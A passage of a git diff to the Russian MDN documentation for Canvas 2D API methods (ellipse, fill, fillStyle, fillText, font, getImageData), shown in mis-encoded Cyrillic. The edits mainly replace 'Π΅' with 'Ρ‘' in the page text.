- <li><code>drawImage()</code> ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ всС EXIF-Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π² Ρ‚ΠΎΠΌ числС ΠΈ <code>Orientation</code>. Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° особСнно ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ для iOS-устройств. Π’Π°ΠΌ потрСбуСтся Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>rotate()</code> для Π΅Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²ΠΊΠΈ.</li>
+ <li><code>drawImage()</code> ΠΏΡ€ΠΎΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΠ΅Ρ‚ всС EXIF-Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π² Ρ‚ΠΎΠΌ числС ΠΈ <code>Orientation</code>. Π’Π°ΠΊΠΎΠ΅ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° особСнно ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°Ρ‚ΠΈΡ‡Π½ΠΎ для iOS-устройств. Π’Π°ΠΌ потрСбуСтся Ρ€Π°ΡΠΏΠΎΠ·Π½Π°Ρ‚ΡŒ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>rotate()</code> для Π΅Ρ‘ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²ΠΊΠΈ.</li>
</ul>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html
index 62fe8e6913..48c6ac8108 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html
@@ -18,7 +18,7 @@ translation_of: Web/API/CanvasRenderingContext2D/ellipse
<pre class="syntaxbox notranslate">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]);
</pre>
-<p><code>ellipse()</code>Β - ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠΎΠ·Π΄Π°Π΅Ρ‚Β ΡΠ»Π»ΠΈΠΏΡ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Π΄ΡƒΠ³Ρƒ с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΠ°Ρ…Β <code>(x, y)</code> с радиусом <code>radiusX</code> ΠΈ <code>radiusY</code>. ΠŸΡƒΡ‚ΡŒ начинаСтся ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠΈΒ <code>startAngle</code> ΠΈ заканчиваСтся Π² Ρ‚ΠΎΡ‡ΠΊΠ΅Β <code>endAngle</code>, ΠΈΠ΄Π΅Ρ‚ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ, ΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ (ΠΏΠΎ часовой стрСлкС ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΈΠ² Π½Π΅Π΅)Β <code>anticlockwise</code> .</p>
+<p><code>ellipse()</code>Β - ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡΠΎΠ·Π΄Π°Ρ‘Ρ‚Β ΡΠ»Π»ΠΈΠΏΡ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Π΄ΡƒΠ³Ρƒ с Ρ†Π΅Π½Ρ‚Ρ€ΠΎΠΌ Π² Ρ‚ΠΎΡ‡ΠΊΠ°Ρ…Β <code>(x, y)</code> с радиусом <code>radiusX</code> ΠΈ <code>radiusY</code>. ΠŸΡƒΡ‚ΡŒ начинаСтся ΠΎΡ‚ Ρ‚ΠΎΡ‡ΠΊΠΈΒ <code>startAngle</code> ΠΈ заканчиваСтся Π² Ρ‚ΠΎΡ‡ΠΊΠ΅Β <code>endAngle</code>, ΠΈΠ΄Ρ‘Ρ‚ ΠΏΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΡŽ, ΠΊΠ°Π·Π°Π½Π½ΠΎΠΌΡƒ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅ (ΠΏΠΎ часовой стрСлкС ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΈΠ² Π½Π΅Ρ‘)Β <code>anticlockwise</code> .</p>
<h3 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹</h3>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html
index d7ec3573d8..ddc127a9ad 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/fill/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/fill/index.html
@@ -12,7 +12,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fill
---
<div>{{APIRef}}</div>
-<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> ΠΌΠ΅Ρ‚ΠΎΠ΄ Canvas 2D API заполняСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Ρ‘ΠΌ с тСкущим стилСм заливки, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π΄Π²ΡƒΡ… ΠΏΡ€Π°Π²ΠΈΠ»Β - Π½Π΅Π½ΡƒΠ»Π΅Π²ΠΎΠ³ΠΎ индСкса ΠΈΠ»ΠΈ Ρ‡Π΅Ρ‚Π½ΠΎ-Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠ΅.</p>
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fill()</code></strong> ΠΌΠ΅Ρ‚ΠΎΠ΄ Canvas 2D API заполняСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ ΠΏΡƒΡ‚Ρ‘ΠΌ с тСкущим стилСм заливки, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π΄Π²ΡƒΡ… ΠΏΡ€Π°Π²ΠΈΠ»Β - Π½Π΅Π½ΡƒΠ»Π΅Π²ΠΎΠ³ΠΎ индСкса ΠΈΠ»ΠΈ Ρ‡Ρ‘Ρ‚Π½ΠΎ-Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠ΅.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -28,7 +28,7 @@ void <var><em>ctx</em>.fill(path[, fillRule]);</var>
Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹Π΅ значСния:
<ul>
<li><code><strong>"nonzero</strong></code>": <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%BE_%D0%BD%D0%B5%D0%BD%D1%83%D0%BB%D0%B5%D0%B2%D0%BE%D0%B3%D0%BE_%D0%B8%D0%BD%D0%B4%D0%B5%D0%BA%D1%81%D0%B0">ΠŸΡ€Π°Π²ΠΈΠ»ΠΎ Π½Π΅Π½ΡƒΠ»Π΅Π²ΠΎΠ³ΠΎ индСкса</a>, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</li>
- <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Π§Π΅Ρ‚Π½ΠΎ-Π½Π΅Ρ‡Π΅Ρ‚Π½ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</a></li>
+ <li><code><strong>"evenodd"</strong></code>: <a href="http://en.wikipedia.org/wiki/Even%E2%80%93odd_rule">Π§Ρ‘Ρ‚Π½ΠΎ-Π½Π΅Ρ‡Ρ‘Ρ‚Π½ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</a></li>
</ul>
</dd>
<dt><code>path</code></dt>
@@ -54,7 +54,7 @@ ctx.rect(10, 10, 100, 100);
ctx.fill();
</pre>
-<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ обновляСтся вашС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π° холстС:</p>
+<p>ΠžΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΈ посмотритС, ΠΊΠ°ΠΊ обновляСтся вашС ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π° холстС:</p>
<div class="hidden">
<h6 id="Playable_code">Playable code</h6>
@@ -116,7 +116,7 @@ window.addEventListener("load", drawCanvas);
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ запрос, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ Π΄Π°Π½Π½Ρ‹Π΅.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄ Π² Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ запрос, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΡ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»ΠΈ Π΄Π°Π½Π½Ρ‹Π΅.</div>
<p>{{Compat("api.CanvasRenderingContext2D.fill")}}</p>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html
index a0df2eb821..17c6172158 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/fillstyle/index.html
@@ -9,7 +9,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillStyle
---
<div>{{APIRef}}</div>
-<p>Бвойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, прСдоставляСмоС <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, Π·Π°Π΄Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ Π·Π°Π»ΠΈΠ²ΠΊΠ΅ Ρ„ΠΈΠ³ΡƒΡ€. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>#000</code> (Ρ‡Π΅Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚).</p>
+<p>Бвойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillStyle</code></strong>, прСдоставляСмоС <a href="/ru/docs/Web/API/Canvas_API">Canvas 2D API</a>, Π·Π°Π΄Π°Ρ‘Ρ‚ Ρ†Π²Π΅Ρ‚ ΠΈΠ»ΠΈ ΡΡ‚ΠΈΠ»ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΏΡ€ΠΈ Π·Π°Π»ΠΈΠ²ΠΊΠ΅ Ρ„ΠΈΠ³ΡƒΡ€. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ установлСно Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>#000</code> (Ρ‡Ρ‘Ρ€Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚).</p>
<div class="blockIndicator note">
<p>Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ Π³Π»Π°Π²Ρƒ <a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">Applying styles and color</a> Π² <a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas Tutorial</a>.</p>
@@ -57,7 +57,7 @@ ctx.fillRect(10, 10, 100, 100);</pre>
<h3 id="ИспользованиС_fillStyle_Π²_Ρ†ΠΈΠΊΠ»Π°Ρ…_for">ИспользованиС fillStyle Π² Ρ†ΠΈΠΊΠ»Π°Ρ… for</h3>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ Π΄Π²Π° Ρ†ΠΈΠΊΠ»Π° для рисования сСтки ΠΈΠ· ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½ Ρ€Π°Π·Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠ΅Π΅ΡΡ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ . Π—Π΄Π΅ΡΡŒ Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ слоТного. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ <code>i</code> ΠΈ <code>j</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°, смСшивая красный ΠΈ Π·Π΅Π»Π΅Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ синСго Ρ†Π²Π΅Ρ‚Π° ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. ИзмСняя значСния Ρ†Π²Π΅Ρ‚ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ всС Ρ†Π²Π΅Ρ‚Π°. Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠ² количСство шагов, Π²Ρ‹ смоТСтС ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΡƒΡŽ ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρƒ, Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ Ρ‚ΠΎΠΉ, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Photoshop.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΒ Π΄Π²Π° Ρ†ΠΈΠΊΠ»Π° для рисования сСтки ΠΈΠ· ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΡ€Π°ΡˆΠ΅Π½ Ρ€Π°Π·Π½Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ²ΡˆΠ΅Π΅ΡΡ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ . Π—Π΄Π΅ΡΡŒ Π½Π΅Ρ‚ Π½ΠΈΡ‡Π΅Π³ΠΎ слоТного. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Π΄Π²Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ <code>i</code> ΠΈ <code>j</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°, смСшивая красный ΠΈ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚Π°. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ синСго Ρ†Π²Π΅Ρ‚Π° ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚. ИзмСняя значСния Ρ†Π²Π΅Ρ‚ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ всС Ρ†Π²Π΅Ρ‚Π°. Π£Π²Π΅Π»ΠΈΡ‡ΠΈΠ² количСство шагов, Π²Ρ‹ смоТСтС ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Ρ†Π²Π΅Ρ‚ΠΎΠ²ΡƒΡŽ ΠΏΠ°Π»ΠΈΡ‚Ρ€Ρƒ, Π½Π°ΠΏΠΎΠ΄ΠΎΠ±ΠΈΠ΅ Ρ‚ΠΎΠΉ, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² Photoshop.</p>
<div class="hidden">
<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html
index ffa2b83d8c..7823142df3 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/filltext/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/fillText
---
<div>{{APIRef}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> прСдоставляСмый Canvas 2D API, рисуСт (Π·Π°Π»ΠΈΠ²Π°Π΅Ρ‚) Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ тСкст Π² Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (<em>x, y</em>). Если ΡƒΠΊΠ°Π·Π°Π½ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² соотвСтствии с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ максимальной ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄ <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.fillText(),</code></strong> прСдоставляСмый Canvas 2D API, рисуСт (Π·Π°Π»ΠΈΠ²Π°Π΅Ρ‚) Π·Π°Π΄Π°Π½Π½Ρ‹ΠΉ тСкст Π² Π·Π°Π΄Π°Π½Π½ΠΎΠΉ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ (<em>x, y</em>). Если ΡƒΠΊΠ°Π·Π°Π½ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, тСкст Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² соотвСтствии с ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ максимальной ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ.</p>
<p>Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("CanvasRenderingContext2D.strokeText()")}} для выполнСния ΠΎΠ±Π²ΠΎΠ΄ΠΊΠΈ тСкста.</p>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/font/index.html b/files/ru/web/api/canvasrenderingcontext2d/font/index.html
index e1349eb001..572f0af5f3 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/font/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/font/index.html
@@ -27,7 +27,7 @@ translation_of: Web/API/CanvasRenderingContext2D/font
<h3 id="ИспользованиС_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ_ΡˆΡ€ΠΈΡ„Ρ‚Π°">ИспользованиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ ΡˆΡ€ΠΈΡ„Ρ‚Π°</h3>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π°Π΄Π°Π΅Ρ‚ Π² свойствС <code>font</code>Β Π΄Ρ€ΡƒΠ³ΠΈΠ΅ <code>font-size</code> ΠΈ <code>font-family</code>.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π·Π°Π΄Π°Ρ‘Ρ‚ Π² свойствС <code>font</code>Β Π΄Ρ€ΡƒΠ³ΠΈΠ΅ <code>font-size</code> ΠΈ <code>font-family</code>.</p>
<h4 id="HTML">HTML</h4>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html
index 879efff5f0..b2a236c22a 100644
--- a/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html
+++ b/files/ru/web/api/canvasrenderingcontext2d/getimagedata/index.html
@@ -20,13 +20,13 @@ translation_of: Web/API/CanvasRenderingContext2D/getImageData
<dl>
<dt><code>sx</code></dt>
- <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° x Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°,Β ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ ImageData.</dd>
+ <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° x Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°,Β ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Ρ‘Π½ ImageData.</dd>
<dt><code>sy</code></dt>
- <dd>ΠšΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π° yΒ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ Π»Π΅Π²ΠΎΠ³ΠΎ ΡƒΠ³Π»Π° ΠΏΡ€ΡΠΌΠΎΡƒΠ³ΠΎΠ»ΡŒΠ½ΠΈΠΊΠ°,Β ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ ImageData.</dd>
